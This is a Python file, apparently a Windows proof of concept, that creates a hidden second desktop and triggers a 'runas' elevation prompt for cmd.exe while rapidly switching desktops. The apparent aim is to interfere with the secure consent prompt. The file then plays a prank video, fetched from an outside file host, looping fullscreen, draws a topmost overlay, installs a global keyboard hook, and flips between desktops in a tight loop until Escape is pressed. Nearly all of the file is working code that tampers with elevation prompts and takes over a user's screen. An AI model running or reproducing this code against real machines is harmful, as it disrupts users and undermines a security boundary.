172 lines
6.2 KiB
Python
172 lines
6.2 KiB
Python
import ctypes
|
|
import ctypes.wintypes
|
|
import threading
|
|
import time
|
|
import subprocess
|
|
import os
|
|
|
|
user32 = ctypes.windll.user32
|
|
kernel32 = ctypes.windll.kernel32
|
|
shell32 = ctypes.windll.shell32
|
|
gdi32 = ctypes.windll.gdi32
|
|
|
|
user32.CallNextHookEx.restype = ctypes.c_long
|
|
user32.CallNextHookEx.argtypes = [ctypes.c_void_p, ctypes.c_int,
|
|
ctypes.wintypes.WPARAM, ctypes.c_void_p]
|
|
user32.SetWindowsHookExW.restype = ctypes.c_void_p
|
|
user32.CreateWindowExW.restype = ctypes.c_void_p
|
|
|
|
stop = threading.Event()
|
|
hooks_ready = threading.Event()
|
|
|
|
class KBDLLHOOKSTRUCT(ctypes.Structure):
|
|
_fields_ = [("vkCode", ctypes.c_ulong), ("scanCode", ctypes.c_ulong),
|
|
("flags", ctypes.c_ulong), ("time", ctypes.c_ulong),
|
|
("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))]
|
|
|
|
@ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.c_void_p)
|
|
def kb_proc(nCode, wParam, lParam):
|
|
if nCode >= 0 and lParam:
|
|
kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT))[0]
|
|
if kb.vkCode == 0x1B and not (kb.flags & 0x80):
|
|
stop.set()
|
|
return user32.CallNextHookEx(None, nCode, wParam, lParam)
|
|
|
|
VIDEO_URL = "https://anondrop.net/1519715400626081836/Rick%20Astley%20-%20Never%20Gonna%20Give%20You%20Up%20(Official%20Video)%20(4K%20Remaster).mp4"
|
|
|
|
h_poc = user32.CreateDesktopW("PoCSecureDesktop", None, None, 0x0001, 0x10000000, None)
|
|
h_def = user32.OpenDesktopW("Default", 0, False, 0x00000100)
|
|
|
|
class SEI(ctypes.Structure):
|
|
_fields_ = [
|
|
("cbSize", ctypes.c_ulong), ("fMask", ctypes.c_ulong),
|
|
("hwnd", ctypes.c_void_p), ("lpVerb", ctypes.c_wchar_p),
|
|
("lpFile", ctypes.c_wchar_p), ("lpParameters", ctypes.c_wchar_p),
|
|
("lpDirectory", ctypes.c_wchar_p), ("nShow", ctypes.c_int),
|
|
("hInstApp", ctypes.c_void_p), ("lpIDList", ctypes.c_void_p),
|
|
("lpClass", ctypes.c_wchar_p), ("hkeyClass", ctypes.c_void_p),
|
|
("dwHotKey", ctypes.c_ulong), ("hIconOrMonitor", ctypes.c_void_p),
|
|
("hProcess", ctypes.c_void_p),
|
|
]
|
|
|
|
def trigger():
|
|
sei = SEI()
|
|
sei.cbSize = ctypes.sizeof(SEI)
|
|
sei.fMask = 0x00000040
|
|
sei.lpVerb = "runas"
|
|
sei.lpFile = "cmd.exe"
|
|
sei.lpParameters = "/c exit"
|
|
sei.nShow = 0
|
|
shell32.ShellExecuteExW(ctypes.byref(sei))
|
|
if sei.hProcess:
|
|
kernel32.CloseHandle(sei.hProcess)
|
|
|
|
user32.SwitchDesktop(h_poc)
|
|
threading.Thread(target=trigger, daemon=True).start()
|
|
time.sleep(0.05)
|
|
user32.SwitchDesktop(h_def)
|
|
|
|
mpv_path = r"C:\Program Files\mpv\mpv.exe"
|
|
vlc_path = r"C:\Program Files\VideoLAN\VLC\vlc.exe"
|
|
|
|
if os.path.exists(mpv_path):
|
|
subprocess.Popen([mpv_path, VIDEO_URL, "--fs", "--no-border", "--ontop", "--loop=yes"],
|
|
creationflags=0x08000000)
|
|
elif os.path.exists(vlc_path):
|
|
subprocess.Popen([vlc_path, VIDEO_URL, "--fullscreen", "--no-video-title-show", "--loop"],
|
|
creationflags=0x08000000)
|
|
else:
|
|
subprocess.Popen(["cmd.exe", "/c", "start", "/max", "", VIDEO_URL],
|
|
shell=False, creationflags=0x08000000)
|
|
|
|
WNDPROCTYPE = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p,
|
|
ctypes.c_uint, ctypes.wintypes.WPARAM,
|
|
ctypes.wintypes.LPARAM)
|
|
SW = user32.GetSystemMetrics(0)
|
|
SH = user32.GetSystemMetrics(1)
|
|
TEXT = "Press Escape to Quit"
|
|
|
|
@WNDPROCTYPE
|
|
def wnd_proc(hwnd, msg, wp, lp):
|
|
if msg == 0x000F:
|
|
ps = ctypes.create_string_buffer(72)
|
|
hdc = user32.BeginPaint(hwnd, ps)
|
|
user32.SetBkColor(hdc, 0x00000000)
|
|
user32.SetTextColor(hdc, 0x000000FF)
|
|
hf = gdi32.CreateFontW(80, 0, 0, 0, 900, 0, 0, 0, 0, 0, 0, 0, 0, "Arial")
|
|
old = gdi32.SelectObject(hdc, hf)
|
|
gdi32.TextOutW(hdc, 20, 20, TEXT, len(TEXT))
|
|
gdi32.SelectObject(hdc, old)
|
|
gdi32.DeleteObject(hf)
|
|
user32.EndPaint(hwnd, ps)
|
|
return 0
|
|
return user32.DefWindowProcW(hwnd, msg, wp, lp)
|
|
|
|
def overlay_thread():
|
|
hInstance = kernel32.GetModuleHandleW(None)
|
|
|
|
class WNDCLASSW(ctypes.Structure):
|
|
_fields_ = [("style", ctypes.c_uint), ("lpfnWndProc", WNDPROCTYPE),
|
|
("cbClsExtra", ctypes.c_int), ("cbWndExtra", ctypes.c_int),
|
|
("hInstance", ctypes.c_void_p), ("hIcon", ctypes.c_void_p),
|
|
("hCursor", ctypes.c_void_p), ("hbrBackground", ctypes.c_void_p),
|
|
("lpszMenuName", ctypes.c_wchar_p), ("lpszClassName", ctypes.c_wchar_p)]
|
|
|
|
wc = WNDCLASSW()
|
|
wc.lpfnWndProc = wnd_proc
|
|
wc.hInstance = hInstance
|
|
wc.hbrBackground = gdi32.CreateSolidBrush(0x00000000)
|
|
wc.lpszClassName = "RickEsc"
|
|
user32.RegisterClassW(ctypes.byref(wc))
|
|
|
|
hwnd = user32.CreateWindowExW(
|
|
0x00000008 | 0x00000080,
|
|
"RickEsc", None,
|
|
0x80000000 | 0x10000000,
|
|
0, SH - 120, SW, 120,
|
|
None, None, hInstance, None
|
|
)
|
|
user32.ShowWindow(hwnd, 5)
|
|
user32.UpdateWindow(hwnd)
|
|
|
|
m = ctypes.wintypes.MSG()
|
|
while not stop.is_set():
|
|
if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1):
|
|
user32.TranslateMessage(ctypes.byref(m))
|
|
user32.DispatchMessageW(ctypes.byref(m))
|
|
user32.SetWindowPos(hwnd, ctypes.c_void_p(-1), 0, SH - 120, SW, 120, 0x0010)
|
|
time.sleep(0.05)
|
|
user32.DestroyWindow(hwnd)
|
|
|
|
def hook_thread():
|
|
h_kb = user32.SetWindowsHookExW(13, kb_proc, None, 0)
|
|
hooks_ready.set()
|
|
m = ctypes.wintypes.MSG()
|
|
while not stop.is_set():
|
|
if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1):
|
|
user32.TranslateMessage(ctypes.byref(m))
|
|
user32.DispatchMessageW(ctypes.byref(m))
|
|
time.sleep(0.0005)
|
|
user32.UnhookWindowsHookEx(h_kb)
|
|
|
|
threading.Thread(target=hook_thread, daemon=False).start()
|
|
threading.Thread(target=overlay_thread, daemon=True).start()
|
|
hooks_ready.wait()
|
|
|
|
def toggle():
|
|
while not stop.is_set():
|
|
user32.SwitchDesktop(h_poc)
|
|
user32.SwitchDesktop(h_def)
|
|
user32.SwitchDesktop(h_poc)
|
|
user32.SwitchDesktop(h_def)
|
|
user32.SwitchDesktop(h_poc)
|
|
user32.SwitchDesktop(h_def)
|
|
|
|
threading.Thread(target=toggle, daemon=True).start()
|
|
|
|
stop.wait()
|
|
time.sleep(0.1)
|
|
user32.SwitchDesktop(h_def)
|
|
user32.CloseDesktop(h_poc)
|
|
user32.CloseDesktop(h_def)
|